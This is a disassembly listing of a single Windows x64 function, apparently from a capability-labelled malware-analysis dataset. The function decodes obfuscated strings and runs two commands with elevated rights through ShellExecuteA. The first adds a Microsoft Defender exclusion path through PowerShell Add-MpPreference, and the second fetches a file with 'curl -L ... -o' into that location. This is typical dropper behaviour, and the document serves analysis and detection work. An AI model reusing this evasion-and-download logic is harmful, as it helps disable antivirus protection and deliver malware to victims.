Function at 0x1400016a0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [0x140006040]
xor rax, rsp
mov qword [rbp + 0x58], rax
xor r12d, r12d
lea rdx, [0x140006750]
lea rcx, [rbp + 0x38]
call fcn.140002150
lea rax, [rbp + 0x38]
mov r9, qword [rbp + 0x38]
mov r10, qword [rbp + 0x50]
cmp r10, 0xf
cmova rax, r9
lea rdx, [rbp + 0x38]
cmova rdx, r9
mov r8, qword [rbp + 0x48]
add r8, rdx
mov edx, r12d
mov rcx, r8
sub rcx, rax
cmp rax, r8
cmova rcx, r12
test rcx, rcx
je 0x14000177b
cmp rcx, 0x40
jb 0x14000177b
and rcx, 0xffffffffffffffc0
movdqa xmm1, xmmword [0x1400044d0]
nop
movdqu xmm0, xmmword [rax]
psubb xmm0, xmm1
movdqu xmmword [rax], xmm0
movdqu xmm0, xmmword [rax + 0x10]
psubb xmm0, xmm1
movdqu xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [rax + 0x20]
psubb xmm0, xmm1
movdqu xmmword [rax + 0x20], xmm0
movdqu xmm0, xmmword [rax + 0x30]
psubb xmm0, xmm1
movdqu xmmword [rax + 0x30], xmm0
add rax, 0x40
add rdx, 0x40
cmp rdx, rcx
jne 0x140001730
mov r10, qword [rbp + 0x50]
mov r9, qword [rbp + 0x38]
cmp rax, r8
je 0x140001793
add byte [rax], 0xfb
inc rax
cmp rax, r8
jne 0x140001780
mov r10, qword [rbp + 0x50]
mov r9, qword [rbp + 0x38]
mov r14, qword [rbp + 0x48]
movabs r13, 0x7fffffffffffffff
mov rax, r13
sub rax, r14
cmp rax, 0x39
jb 0x140001f68
lea r15, [rbp + 0x38]
cmp r10, 0xf
cmova r15, r9
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
lea rsi, [r14 + 0x39]
mov ebx, 0xf
lea rdi, [rsp + 0x70]
movabs rax, 0x8000000000000000
mov ecx, 0x16
cmp rsi, rbx
jbe 0x14000185b
mov rbx, rsi
or rbx, 0xf
cmp rbx, r13
jbe 0x140001821
mov rbx, r13
add rax, 0x27
mov rcx, rax
call fcn.1400024b0
test rax, rax
je 0x1400019ac
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001856
cmp rbx, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140001836
mov rdi, r12
jmp 0x140001856
cmp rcx, 0x1000
jb 0x14000184e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001f5c
jmp 0x140001802
call fcn.1400024b0
mov rdi, rax
mov qword [rsp + 0x70], rdi
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rbx
movups xmm0, xmmword [str._c_powershell__Command__Add_MpPreference__ExclusionPath_]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x140004428]
movups xmmword [rdi + 0x10], xmm1
movups xmm0, xmmword [0x140004438]
movups xmmword [rdi + 0x20], xmm0
movsd xmm0, qword [0x140004448]
movsd qword [rdi + 0x30], xmm0
movzx eax, byte [0x140004450]
mov byte [rdi + 0x38], al
lea rcx, [rdi + 0x39]
mov r8, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov r8d, 2
lea rdx, [0x140004410]
lea rcx, [rsp + 0x70]
call fcn.140002270
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova r9, qword [rsp + 0x30]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r8, str.cmd.exe
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140001966
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001961
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001961
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002734
movdqa xmm0, xmmword [0x140004490]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x1400019b8
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019b3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002734
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x140006790]
lea rcx, [rbp + 0x18]
call fcn.140002150
lea r8, [rbp + 0x18]
cmp qword [rbp + 0x30], 0xf
cmova r8, qword [rbp + 0x18]
lea rcx, [rbp + 0x18]
cmova rcx, qword [rbp + 0x18]
mov rdx, qword [rbp + 0x28]
add rdx, rcx
mov rcx, r12
mov rax, rdx
sub rax, r8
cmp r8, rdx
cmova rax, r12
test rax, rax
je 0x140001a6b
cmp rax, 0x40
jb 0x140001a6b
and rax, 0xffffffffffffffc0
movdqa xmm1, xmmword [0x1400044d0]
nop dword [rax + rax]
movdqu xmm0, xmmword [r8]
psubb xmm0, xmm1
movdqu xmmword [r8], xmm0
movdqu xmm0, xmmword [r8 + 0x10]
psubb xmm0, xmm1
movdqu xmmword [r8 + 0x10], xmm0
movdqu xmm0, xmmword [r8 + 0x20]
psubb xmm0, xmm1
movdqu xmmword [r8 + 0x20], xmm0
movdqu xmm0, xmmword [r8 + 0x30]
psubb xmm0, xmm1
movdqu xmmword [r8 + 0x30], xmm0
add r8, 0x40
add rcx, 0x40
cmp rcx, rax
jne 0x140001a20
cmp r8, rdx
je 0x140001a7c
add byte [r8], 0xfb
inc r8
cmp r8, rdx
jne 0x140001a70
lea rdx, [0x140006770]
lea rcx, [rbp - 8]
call fcn.140002150
lea r8, [rbp - 8]
cmp qword [rbp + 0x10], 0xf
cmova r8, qword [rbp - 8]
lea rcx, [rbp - 8]
cmova rcx, qword [rbp - 8]
mov rdx, qword [rbp + 8]
add rdx, rcx
mov rcx, r12
mov rax, rdx
sub rax, r8
cmp r8, rdx
cmova rax, r12
test rax, rax
je 0x140001b1c
cmp rax, 0x40
jb 0x140001b1c
and rax, 0xffffffffffffffc0
movdqa xmm1, xmmword [0x1400044d0]
movdqu xmm0, xmmword [r8]
psubb xmm0, xmm1
movdqu xmmword [r8], xmm0
movdqu xmm0, xmmword [r8 + 0x10]
psubb xmm0, xmm1
movdqu xmmword [r8 + 0x10], xmm0
movdqu xmm0, xmmword [r8 + 0x20]
psubb xmm0, xmm1
movdqu xmmword [r8 + 0x20], xmm0
movdqu xmm0, xmmword [r8 + 0x30]
psubb xmm0, xmm1
movdqu xmmword [r8 + 0x30], xmm0
add r8, 0x40
add rcx, 0x40
cmp rcx, rax
jne 0x140001ad1
cmp r8, rdx
je 0x140001b2d
add byte [r8], 0xfb
inc r8
cmp r8, rdx
jne 0x140001b21
mov rsi, qword [rbp + 0x28]
mov rax, r13
sub rax, rsi
cmp rax, 0xc
jb 0x140001f56
lea r15, [rbp + 0x18]
cmp qword [rbp + 0x30], 0xf
cmova r15, qword [rbp + 0x18]
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
lea r14, [rsi + 0xc]
mov ebx, 0xf
lea rdi, [rbp - 0x30]
cmp r14, rbx
jbe 0x140001beb
mov rbx, r14
or rbx, 0xf
cmp rbx, r13
jbe 0x140001bac
mov rbx, r13
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400024b0
test rax, rax
je 0x140001e42
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001be7
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140001bc7
mov rdi, r12
jmp 0x140001be7
cmp rcx, 0x1000
jb 0x140001bdf
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001f62
jmp 0x140001b8d
call fcn.1400024b0
mov rdi, rax
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], rbx
movsd xmm0, qword [str._c_curl__L__]
movsd qword [rdi], xmm0
mov ecx, dword [0x140004480]
mov dword [rdi + 8], ecx
lea rcx, [rdi + 0xc]
mov r8, rsi
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov r8d, 6
lea rdx, str.___o__
lea rcx, [rbp - 0x30]
call fcn.140002270
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp - 8]
cmp qword [rbp + 0x10], 0xf
cmova rdx, qword [rbp - 8]
mov r8, qword [rbp + 8]
lea rcx, [rbp - 0x50]
call fcn.140002270
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r12
mov byte [rax], 0
mov r8d, 1
lea rdx, [0x140004468]
lea rcx, [rbp - 0x70]
call fcn.140002270
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova r9, qword [rsp + 0x50]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r8, str.cmd.exe
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140001d5f
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d5a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001d5a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002734
movdqa xmm0, xmmword [0x140004490]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140001db8
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001dab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001dab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002734
movdqa xmm0, xmmword [0x140004490]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140001e07
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001dfa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001dfa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002734
movdqa xmm0, xmmword [0x140004490]
movdqu xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140001e4f
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e49
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001e49
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002734
nop
mov rdx, qword [rbp + 0x10]
cmp rdx, 0xf
jbe 0x140001e8d
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e88
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001e88
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002734
mov qword [rbp + 8], r12
mov qword [rbp + 0x10], 0xf
mov byte [rbp - 8], 0
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x140001edb
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ed6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ed6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002734
mov qword [rbp + 0x28], r12
mov qword [rbp + 0x30], 0xf
mov byte [rbp + 0x18], 0
mov rdx, qword [rbp + 0x50]
cmp rdx, 0xf
jbe 0x140001f29
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f24
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f24
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002734
mov rcx, qword [rbp + 0x58]
xor rcx, rsp
call fcn.140002490
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001680
nop
call fcn.1400015e0
nop
call fcn.1400015e0
nop
call fcn.140001680
int3